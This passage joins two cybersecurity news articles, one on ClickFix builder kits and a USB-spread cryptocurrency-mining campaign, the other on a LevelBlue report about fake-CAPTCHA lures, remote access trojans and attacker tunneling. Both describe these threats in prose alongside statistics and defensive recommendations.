systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3." The Rise of ClickFix Kits The use of ClickFix has soared in popularity among threat actors over the past year, as it dupes users into infected their machines under the pretext of helping the solve minor technical issues, completing CAPTCHA verification checks by impersonating Cloudflare Turnstile, or spoofing a Discord server supposedly needing to verify a user before they can join. This, in turn, entails giving users instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Windows Terminal, Windows PowerShell, or macOS Terminal, depending on the operating system used. "Because ClickFix relies on human intervention to launch the malicious commands, a campaign that uses this technique could get past conventional and automated security solutions," Microsoft said in a detailed write-up. "It's often combined with delivery vectors such as phishing, malvertising, and drive-by compromises, most of which even impersonate legitimate brands and organizations to further reduce suspicion from their targets." The social engineering ploy has been embraced by numerous threat actors to deliver information stealers (Lumma Stealer), remote access trojans (Xworm, AsyncRAT, NetSupport RAT, and SectopRAT), malware loaders (Latrodectus and MintsLoader), rootkits (r77), and banking trojans (Lampion). Microsoft said it has also observed several threat actors peddling configurable ClickFix builders (also called "Win + R") on popular cybercrime forums since late 2024 from anywhere $200 to $1,500 per month. Other offerings include one-time and piece-meal solutions, for example, the source code, landing page, or the command-line used to kick off the infection, for prices between $200 and $500. "Some of these actors are bundling ClickFix builders into their existing kits that already generate various files such as LNK, JavaScript, and SVG files," the Windows maker said. "The kits offer creation of landing pages with a variety of available lures including Cloudflare." "They also offer construction of malicious commands that users will paste into the Windows Run dialog. These kits claim to guarantee antivirus and web protection bypass (some even promise that they can bypass Microsoft Defender SmartScreen), as well as payload persistence." To counter ClickFix-style attacks, it's advised that users are educated to identify social engineering attacks and be careful of what's being pasted in apps like Terminal or PowerShell. Organizations are recommended to consider using enterprise-managed browsers, block web pages from automatically running Flash plugins, and turn on safe attachments policies for incoming messages. Other steps include - Enable PowerShell script block logging to detect and analyze obfuscated or encoded commands for enhanced visibility Use PowerShell execution policies such as setting AllSigned or RemoteSigned to help reduce the risk of malicious execution Use Group Policy to deploy hardening configurations, such as removing Run menu from Start Menu, prohibiting the launch of native Windows binaries from Run, and configuring Windows Terminal access to alert users when they pasting text that contains multiple lines USB Infection Drops XMRig Miner The disclosure comes as the threat intelligence firm detailed an ongoing campaign that employs USB drives to infect other hosts and deploy cryptocurrency miners since September 2024. "This demonstrates the continued effectiveness of initial access via infected USB drives," Mandiant said. "The low cost and ability to bypass network security make this technique a compelling option for attackers." The attack chain starts when a victim is tricked into executing a Windows shortcut (LNK) in the compromised USB drive. The LNK file results in the execution of a Visual Basic script also located in the same folder. The script, for its part, launches a batch script to initiate the infection - DIRTYBULK, a C++ DLL launcher to initiate the execution of other malicious components, such as CUTFAIL CUTFAIL, a C++ malware dropper responsible for decrypting and installing malware onto a system, such as HIGHREPS and PUMPBENCH, as well as third-libraries like OpenSSL, libcurl, and WinPthreadGC HIGHREPS, a downloader that retrieves additional files to ensure persistence of PUMPBENCH PUMPBENCH, a C++ backdoor that facilitates reconnaissance, provides remote access by communicating with a PostgreSQL database server, and download XMRig XMRig, an an open-source software for mining cryptocurrencies such as Monero, Dero, and Ravencoin "PUMPBENCH spreads by infecting USB drives," Mandiant said. "It scans the system for available drives and then creates a batch file, a VBScript file, a shortcut file, and a DAT file."

From fake CAPTCHAs to RATs: Inside 2025’s cyber deception threat trends Cybercriminals are getting better at lying. That’s the takeaway from a new LevelBlue report, which outlines how attackers are using social engineering and legitimate tools to quietly move through environments before they’re caught. Data showing at what stage an incident was detected (Source: LevelBlue) In that short window, the number of customers affected by security incidents nearly tripled. The rate jumped from 6 percent in late 2024 to 17 percent in early 2025. More than half of those incidents began at the initial access stage. Once attackers were in, they moved quickly. The average time between compromise and lateral movement fell below 60 minutes. In some cases, it took less than 15. That speed is possible because attackers continue to rely on familiar tools. Remote Desktop Protocol remains the most common method for moving from one system to another. Remote monitoring and management (RMM) software is widely used to keep access active. LevelBlue found many cases where multiple RMM tools were installed on the same host. Tunneling utilities help attackers avoid firewalls and keep their activity hidden. These tactics are not new, but they are being used with greater precision and automation. “A striking development in the first half of 2025 is how much more sophisticated threat actors have become at deception,” said Fernando Martinez Sidera, Lead Threat Researcher at LevelBlue. “They’re moving beyond traditional BEC schemes and using targeted social engineering to manipulate users into opening the door. Once inside, they’re deploying remote access trojans and quickly covering their tracks, allowing them to move laterally through networks with alarming speed. This isn’t a one-off trend – we fully expect this shift to continue throughout 2026.” Another trend is the drop in incidents tied to business email compromise. BEC still accounts for the largest share of initial access, at 57 percent, but this is down from 74 percent in the last reporting period. That shift is linked to the sharp rise in fake CAPTCHA scams and help desk impersonation. Social engineering now makes up 39 percent of initial access methods, nearly triple the rate from late 2024. ClickFix is the campaign most often cited. In these attacks, users are tricked into copying a line of code into the Windows Run box. This is made to look like a routine CAPTCHA or security prompt. But instead of verifying anything, the user is launching a PowerShell command that connects to an external server and downloads malware. The payload is often a Remote Access Trojan such as NetSupport, Quasar, or Lumma Stealer. ClickFix-related activity rose more than 1,400 percent in just six months. Once attackers get inside, they are relying on a combination of RMM tools and tunneling to maintain access. Tools like Plink and Ngrok are commonly used to create hidden connections. These blend in with normal IT operations, which makes them harder for defenders to spot. Some cases involved two or even three RMM tools installed at once. The malware trends reflect this approach as well. Lumma Stealer was the most frequently seen infostealer in early 2025. It targets Windows systems and collects browser data, credentials, and cryptocurrency wallets. It is often delivered through phishing emails or fake CAPTCHA pages. Remote Access Trojans were also active. These included AsyncRAT, Remcos, and StealC. Each provides the attacker with full remote access and the ability to launch new attacks. While data theft is on the rise, ransomware and encryption events have gone down. LevelBlue saw a 78 percent drop in ransomware cases and a 94 percent drop in unauthorized access incidents. That doesn’t mean the threat is gone. It likely signals that attackers are getting what they want without triggering alarms. Defenders should take note. The report urges organizations to focus on user training, especially around social engineering tactics like fake CAPTCHAs. It also recommends tighter control over PowerShell, script execution, and tunneling tools. Segmenting networks, limiting lateral movement, and reviewing endpoint security policies are also key steps.